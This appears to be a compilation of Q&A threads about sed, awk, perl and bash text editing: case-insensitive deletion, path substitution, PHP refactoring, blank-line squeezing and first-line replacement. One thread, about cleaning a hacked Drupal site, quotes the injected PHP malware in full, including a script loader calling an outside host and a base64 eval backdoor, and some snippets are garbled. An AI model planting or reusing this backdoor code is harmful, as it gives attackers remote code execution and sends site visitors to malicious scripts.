Using sed to delete a case insensitive matched line - sed

How do I match a case insensitive regex and delete it at the same time
I read that to get case insensitive matches, use the flag "i"
sed -e "/pattern/replace/i" filepath
and to delete use d
sed -e "/pattern/d" filepath
I've also read that I could combine multiple flags like 2iw
I'd like to know if sed could combine both i and d
I've tried the following but it didn't work
sed -e "/pattern/replace/id" filepath > newfilepath

For case-insensitive use /I instead of /i.
sed -e "/pattern/Id" filepath

you can use (g)awk as well.
# print case insensitive
awk 'BEGIN{IGNORECASE=1}/pattern/{print}' file
# replace with case insensitive
awk 'BEGIN{IGNORECASE=1}/pattern/{gsub(/pattern/,"replacement")}1' file
OR just with the shell(bash)
#!/bin/bash
shopt -s nocasematch
while read -r line
do
case "$line" in
*pattern* ) echo $line;
esac
done <"file"

I produced this one-liner because Ansible cannot handle different lv with the same name. This convert near CSV into perfect JSON. Possibly, you want to change the -F flag to change the field separator.
lvs | perl -ane '
local %tmp,$i=0;
while($i<#f){
$tmp{$f[$i]}=$F[$i] if $F[$i];
$i++
};
if(#f){push #ans,\%tmp}
else{ #f=#F };
END { print to_json(\#ans,{pretty=>1}) }
' -MJSON

Related

sed replace positional match of unknown string divided by user-defined separator

Want to rename the (known) 3th folder within a (unknown) file path from a string, when positioned on 3th level while separator is /
Need a one-liner explicitly for sed. Because I later want use it for tar --transform=EXPRESSION
string="/db/foo/db/bar/db/folder"
echo "$string" | sed 's,db,databases,'
sed replace "db" only on 3th level
expected result
/db/foo/databases/bar/db/folder
You could use a capturing group to capture /db/foo/ and then match db. Then use use the first caputring group in the replacement using \1:
string="/db/foo/db/bar/db/folder"
echo -e "$string" | sed 's,^\(/[^/]*/[^/]*/\)db,\1databases,'
About the pattern
^ Start of string
\( Start capture group
/[^/]*/[^/]*/ Match the first 2 parts using a negated character class
\) Close capture group
db Match literally
That will give you
/db/foo/databases/bar/db/folder
If awk is also an option for this task:
$ awk 'BEGIN{FS=OFS="/"} $4=="db"{$4="database"} 1' <<<'/db/foo/db/bar/db/folder'
/db/foo/database/bar/db/folder
FS = OFS = "/" assign / to both input and output field separators,
$4 == "db" { $4 = "database }" if fourth field is db, make it database,
1 print the record.
Here is a pure bash way to get this done by setting IFS=/ without calling any external utility:
string="/db/foo/db/bar/db/folder"
string=$(IFS=/; read -a arr <<< "$string"; arr[3]='databases'; echo "${arr[*]}")
echo "$string"
/db/foo/databases/bar/db/folder

sed substitute with quotes and wildcard

I need to replace if ($_SESSION['POST']['*']==1){ with if (isset($_SESSION['POST']['*']) && $_SESSION['POST']['*']==1){
(I'm using * as a wild card)
I've tried sed -i "s/if ($_SESSION['POST']['.*']/if (isset($_SESSION['POST']['.*']) && $_SESSION['POST']['.*']/g" *.php and a few other variations without success.
Here goes...
sed "s/\(if (\)\(\$_SESSION\['POST']\['\([^']*\)']\)==1/\1isset(\2) \&\& \$_SESSION['POST']['\3']==1/" file
Using double quotes means that the $ symbols must be escaped, otherwise they will be interpreted as shell variables. The square brackets need to be escaped, otherwise they will be interpreted as the beginning of a range. It's OK to leave the closing square brackets as they are.
In order to capture the key, I have used a character class [^']*. This means zero or more characters that are not a single quote.
In the replacement, the captured groups (the parts between parentheses in the match) are referred to using \1, \2, etc.
Testing it out:
$ cat file
if ($_SESSION['POST']['foo']==1){
// do something
}
if ($_SESSION['POST']['bar']==1){
// do something else
}
$ sed "s/\(if (\)\(\$_SESSION\['POST']\['\([^']*\)']\)==1/\1isset(\2) \&\& \$_SESSION['POST']['\3']==1/" file
if (isset($_SESSION['POST']['foo']) && $_SESSION['POST']['foo']==1){
// do something
}
if (isset($_SESSION['POST']['bar']) && $_SESSION['POST']['bar']==1){
// do something else
}
By the way it makes the command a few characters shorter if you use extended regexp mode (-r or -E). In extended mode, the parentheses enclosing capture groups don't have to be escaped but literal ones do, so your command would then be:
sed -r "s/(if \()(\$_SESSION\['POST']\['([^']*)'])==1/\1isset(\2) \&\& \$_SESSION['POST']['\3']==1/" file
This sed should work:
s="if (\$_SESSION['POST']['name']==1){"
sed -r 's/(if +)\((([^=]+)[^\)]+)/\1(isset(\3) \&\& \2/' <<< "$s"
if (isset($_SESSION['POST']['name']) && $_SESSION['POST']['name']==1){
PS: Use sed -E instead of sed -r on OSX.
Here's another.
This is what we need to produce:
Pattern: if (\$_SESSION\['POST'\]\['\([^']*\)'\]
Replacement: if (isset($_SESSION['POST']['\1']) \&\& $_SESSION['POST']['\1']
When quoted in shell level:
Pattern: "if (\\\$_SESSION\['POST'\]\['\([^']*\)'\]"
Replacement: "if (isset(\$_SESSION['POST']['\1']) \\&\\& \$_SESSION['POST']['\1']"
Putting it together:
sed -i "s|if (\\\$_SESSION\['POST'\]\['\([^']*\)'\]|if (isset(\$_SESSION['POST']['\1']) \\&\\& \$_SESSION['POST']['\1']|g" file
Test:
# sed "s|if (\\\$_SESSION\['POST'\]\['\([^']*\)'\]|if (isset(\$_SESSION['POST']['\1']) \\&\\& \$_SESSION['POST']['\1']|g" <<'EOF'
> if ($_SESSION['POST']['ABC']==1){
> EOF
if (isset($_SESSION['POST']['ABC']) && $_SESSION['POST']['ABC']==1){

How to display text between nested Parenthesis using sed or awk or grep?

I have a file inside that one line contains nested parenthesis, i want to display those words only.
Example:
(abc (defg) or hij(klmn)) and (opq(rstuv))
Expected Result:
defg
klmn
rstuv
I have tried with awk - awk -F "[(())]" '{ for (i=2; i<NF; i+=2) print $i}'
I have tried with sed - sed 's/.*(\([a-zA-Z0-9_]*\)).*/\1/'
Using perl global matching and lazy quantifiers:
#! /usr/bin/perl -n
use feature 'say';
while (/\((.*?\)[^(]*?)\)/g) {
$m=$1;
while ($m =~ /\((.*?)\)/g) {
say $1;
}
}
Output:
defg
klmn
rstuv
Maybe with grep?
$ echo "(abc (defg) or hij(klmn)) and (opq(rstuv))" | grep -o "([a-z]*)"
(defg)
(klmn)
(rstuv)
It catches the groups of ( + letters + ).
I tried to get rid of the paranthesis but could not. This is my approach:
grep -Po '(?<=()[a-z]*(?=))'
but it indicates that "grep: lookbehind assertion is not fixed length", as I guess it cannot decide up to which ) to look for.
This might work for you (GNU sed):
sed -r 's/\(([^()]*)\)/\n\1\n/;s/[^\n]*\n//;/[^()]/P;D' file

How to delete multiple empty lines with SED?

I'm trying to compress a text document by deleting of duplicated empty lines, with sed. This is what I'm doing (to no avail):
sed -i -E 's/\n{3,}/\n/g' file.txt
I understand that it's not correct, according to this manual, but I can't figure out how to do it correctly. Thanks.
I think you want to replace spans of multiple blank lines with a single blank line, even though your example replaces multiple runs of \n with a single \n instead of \n\n. With that in mind, here are two solutions:
sed '/^$/{ :l
N; s/^\n$//; t l
p; d; }' input
In many implementations of sed, that can be all on one line, with the embedded newlines replaced by ;.
awk 't || !/^$/; { t = !/^$/ }'
As tripleee suggested above, I'm using Perl instead of sed:
perl -0777pi -e 's/\n{3,}/\n\n/g'
Use the translate function
tr -s '\n'
the -s or --squeeze-repeats reduces a sequence of repeated character to a single instance.
This is much better handled by tr -s '\n' or cat -s, but if you insist on sed, here's an example from section 4.17 of the GNU sed manual:
#!/usr/bin/sed -f
# on empty lines, join with next
# Note there is a star in the regexp
:x
/^\n*$/ {
N
bx
}
# now, squeeze all '\n', this can be also done by:
# s/^\(\n\)*/\1/
s/\n*/\
/
I am not sure this is what the OP wanted but using the awk solution by William Pursell here is the approach if you want to delete ALL empty lines in the file:
awk '!/^$/' file.txt
Explanation:
The awk pattern
'!/^$/'
is testing whether the current line is consisting only of the beginning of a line (symbolised by '^') and the end of a line (symbolised by '$'), in other words, whether the line is empty.
If this pattern is true awk applies its default and prints the current line.
HTH
I think OP wants to compress empty lines, e.g. where there are 9 consecutive emty lines, he wants to have just three.
I have written a little bash script that does just that:
#! /bin/bash
TOTALLINES="$(cat file.txt|wc -l)"
CURRENTLINE=1
while [ $CURRENTLINE -le $TOTALLINES ]
do
L1=$CURRENTLINE
L2=$(($L1 + 1))
L3=$(($L1 +2))
if [[ $(cat file.txt|head -$L1|tail +$L1) == "" ]]||[[ $(cat file.txt|head -$L1|tail +$L1) == " " ]]
then
L1EMPTY=true
else
L1EMPTY=false
fi
if [[ $(cat file.txt|head -$L2|tail +$L2) == "" ]]||[[ $(cat file.txt|head -$L2|tail +$L2) == " " ]]
then
L2EMPTY=true
else
L2EMPTY=false
fi
if [[ $(cat file.txt|head -$L3|tail +$L3) == "" ]]||[[ $(cat file.txt|head -$L3|tail +$L3) == " " ]]
then
L3EMPTY=true
else
L3EMPTY=false
fi
if [ $L1EMPTY = true ]&&[ $L2EMPTY = true ]&&[ $L3EMPTY = true ]
then
#do not cat line to temp file
echo "Skipping line "$CURRENTLINE
else
echo "$(cat file.txt|head -$CURRENTLINE|tail +$CURRENTLINE)">>temp.txt
echo "Writing line " $CURRENTLINE
fi
((CURRENTLINE++))
done
cat temp.txt>file.txt
rm -r temp.txt
FINALTOTALLINES="$(cat file.txt|wc -l)"
EMPTYLINELINT=$(( $CURRENTLINE - $FINALTOTALLINES ))
echo "Deleted " $EMPTYLINELINT " empty lines."

sed, replace first line

I got hacked by running a really outdated Drupal installation (shame on me)
It seems they injected the following in every .php file;
<?php global $sessdt_o; if(!$sessdt_o) {
$sessdt_o = 1; $sessdt_k = "lb11";
if(!#$_COOKIE[$sessdt_k]) {
$sessdt_f = "102";
if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
}
else {
if($_COOKIE[$sessdt_k]=="102") {
$sessdt_f = (rand(1000,9000)+1);
if(!#headers_sent()) {
#setcookie($sessdt_k,$sessdt_f); }
else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; }
sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"];
$sessdt_v = urlencode(strrev($sessdt_j));
$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
echo "<script src='$sessdt_u'></script>";
echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--";
}
}
$sessdt_p = "showimg";
if(isset($_POST[$sessdt_p])){
eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
exit;
}
}
Can I remove and replace this with sed? e.g.:
find . -name *.php | xargs ...
I hope to have the site working just for the time being to use wget and made a static copy.
You can use sed with something like
sed '1 s/^.*$/<?php/'
The 1 part only replaces the first line. Then, thanks to the s command, it replaces the whole line by <?php.
To modify your files in-place, use the -i option of GNU sed.
To replace the first line of a file, you can use the c (for "change") command of sed:
sed '1c<?php'
which translates to: "on line 1, replace the pattern space with <?php".
For this particular problem, however, something like this would probably work:
sed '1,/^$/c<?php'
which reads: change the range "line 1 to the first empty line" to <?php, thus replacing all injected code.
(The second part of the address (the regular expression /^$/) should be replaced with an expression that would actually delimit the injected code, if it is not an empty line.)
# replace only first line
printf 'a\na\na\n' | sed '1 s/a/b/'
printf 'a\na\na\n' | perl -pe '$. <= 1 && s/a/b/'
result:
b
a
a
perl is needed for more complex regex,
for example regex lookaround (lookahead, lookbehind)
sample use:
patch shebang lines in script files to use /usr/bin/env
shebang line is the first line: #!/bin/bash etc
find . -type f -exec perl -p -i -e \
'$. <= 1 && s,^#!\s*(/usr)?/bin/(?!env)(.+)$,#!/usr/bin/env \2,' '{}' \;
this will replace #! /usr/bin/python3 with #!/usr/bin/env python3
to make the script more portable (nixos linux, ...)
the (?!env) (negative lookahead) prevents double-replacing
its not perfect, since #!/bin/env foo is not replaced with #!/usr/bin/env foo ...